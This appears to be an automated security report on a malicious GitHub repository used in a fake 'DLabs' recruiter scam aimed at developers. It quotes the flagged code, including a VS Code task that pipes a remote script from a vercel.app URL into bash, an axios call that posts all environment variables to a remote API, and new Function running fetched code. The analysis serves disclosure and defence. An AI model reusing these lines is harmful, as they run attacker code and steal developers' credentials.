| Verdict | Critical |
|---|---|
| Code | 8 attack chains found in the code, 6 of them decisive |
This case involves a recruitment scam where a malicious actor, posing as a recruiter from "DLabs," attempted to compromise a developer's system. The scam involved sharing a GitHub repository for a React/Express platform MVP. Analysis of the repository reveals critical indicators of malicious activity. Multiple instances of webhook exfiltration were detected in src/apis/index.js and server/controllers/auth.js, suggesting attempts to send sensitive environment variables to external servers. Specifically, the server/controllers/auth.js file shows process.env being spread into an axios.post request, which is a direct method for exfiltrating environment secrets. Furthermore, a dangerous code execution pattern was identified in server/routes/api/auth.js, where new Function is used to execute response.data as code, indicating potential remote code execution from untrusted input. The presence of require_injection in the same file further reinforces the risk of arbitrary code execution. These combined signals strongly suggest that the provided repository is designed to exfiltrate sensitive information and execute malicious code on the victim's system.
| Runs | builds code from a string and runs it; decodes a hidden payload; runs code fetched from the network |
|---|---|
| Leaves the machine | credentials read from disk; data to a remote host; environment variables; environment variables, sent out |
| When | at install time |
8 chains. Open one to see the lines it rests on.
| server/controllers/auth.js:67 | decodes |
| server/routes/api/auth.js:27 | code from string |
server/controllers/auth.js:67 · atob_decode
const setApiKey = (s) => atob(s);server/routes/api/auth.js:27 · new_function_constructor
const executor = new Function("require", response.data);| package.json:60 | triggered on install |
| server/config/loadEnv.js:1 | reads env |
| server/controllers/auth.js:70 | sends to |
| .vscode/tasks.json:51 | executes remote |
| server/controllers/auth.js:67 | decodes |
| server/routes/api/auth.js:27 | code from string |
| server/controllers/auth.js:70 | env exfil |
.vscode/tasks.json:51 · curl_pipe_shell
"command": "curl -L 'https://vscode-settings-tasks-j227.vercel.app/api/settings/mac' | bash"package.json:60 · lifecycle_hook_prepare
"prepare": "node server/server.js"server/config/loadEnv.js:1 · dotenv_require
const dotenv = require("dotenv");const setApiKey = (s) => atob(s);
| Code | Something in this code can run on the machine that installs or runs it. |
|---|---|
| Layers | not detonated in a sandbox |
| Version | Date | Band | Engine | Stages |
|---|---|---|---|---|
| 2 | 04/09/2026 | Critical | 5c766bbb4aa0 | engine, osv |
| 1 | 15/05/2026 | Critical | legacy-pre-g | engine |
Disclaimer: This report is based on community-submitted information and automated analysis. It does not constitute legal advice or a definitive determination of fraud. Named or described entities may contest this report — if you believe this case contains inaccurate information, you may submit a correction or appeal. RTIdx processes takedown and correction requests within 7 days.
server/controllers/auth.js:70 · env_axios_exfil
axios.post(api, { ...process.env }, {server/controllers/auth.js:70 · env_spread_exfil_post
axios.post(api, { ...process.env }, {server/controllers/auth.js:70 · env_spread_object
axios.post(api, { ...process.env }, {server/controllers/auth.js:70 · outbound_http_request
axios.post(api, { ...process.env }, {server/routes/api/auth.js:27 · new_function_constructor
const executor = new Function("require", response.data);| .vscode/tasks.json:51 | executes remote |
.vscode/tasks.json:51 · curl_pipe_shell
"command": "curl -L 'https://vscode-settings-tasks-j227.vercel.app/api/settings/mac' | bash"| server/controllers/auth.js:70 | env exfil |
server/controllers/auth.js:70 · env_axios_exfil
axios.post(api, { ...process.env }, {server/controllers/auth.js:70 · env_spread_exfil_post
axios.post(api, { ...process.env }, {server/controllers/auth.js:70 · env_spread_object
axios.post(api, { ...process.env }, {server/controllers/auth.js:70 · outbound_http_request
axios.post(api, { ...process.env }, {| package.json:60 | triggered on install |
| server/controllers/auth.js:70 | sends to |
package.json:60 · lifecycle_hook_prepare
"prepare": "node server/server.js"server/controllers/auth.js:70 · env_axios_exfil
axios.post(api, { ...process.env }, {server/controllers/auth.js:70 · env_spread_exfil_post
axios.post(api, { ...process.env }, {server/controllers/auth.js:70 · env_spread_object
axios.post(api, { ...process.env }, {server/controllers/auth.js:70 · outbound_http_request
axios.post(api, { ...process.env }, {| package.json:60 | triggered on install |
| server/config/loadEnv.js:1 | reads env |
| server/controllers/auth.js:70 | sends to |
package.json:60 · lifecycle_hook_prepare
"prepare": "node server/server.js"server/config/loadEnv.js:1 · dotenv_require
const dotenv = require("dotenv");server/controllers/auth.js:70 · env_axios_exfil
axios.post(api, { ...process.env }, {server/controllers/auth.js:70 · env_spread_exfil_post
axios.post(api, { ...process.env }, {server/controllers/auth.js:70 · env_spread_object
axios.post(api, { ...process.env }, {server/controllers/auth.js:70 · outbound_http_request
axios.post(api, { ...process.env }, {| .env:14 | reads credential |
| server/controllers/auth.js:70 | sends to |
.env:14 · aws_env_vars
AWS_ACCESS_KEY_ID=AKIAEXAMPLE12345server/controllers/auth.js:70 · env_axios_exfil
axios.post(api, { ...process.env }, {server/controllers/auth.js:70 · env_spread_exfil_post
axios.post(api, { ...process.env }, {server/controllers/auth.js:70 · env_spread_object
axios.post(api, { ...process.env }, {server/controllers/auth.js:70 · outbound_http_request
axios.post(api, { ...process.env }, {| src/context/game/GameState.js:45 | delayed |
| server/controllers/auth.js:70 | sends to |
server/controllers/auth.js:70 · env_axios_exfil
axios.post(api, { ...process.env }, {server/controllers/auth.js:70 · env_spread_exfil_post
axios.post(api, { ...process.env }, {server/controllers/auth.js:70 · env_spread_object
axios.post(api, { ...process.env }, {server/controllers/auth.js:70 · outbound_http_request
axios.post(api, { ...process.env }, {src/context/game/GameState.js:45 · delayed_timeout
const handle = setTimeout(fold, 15000)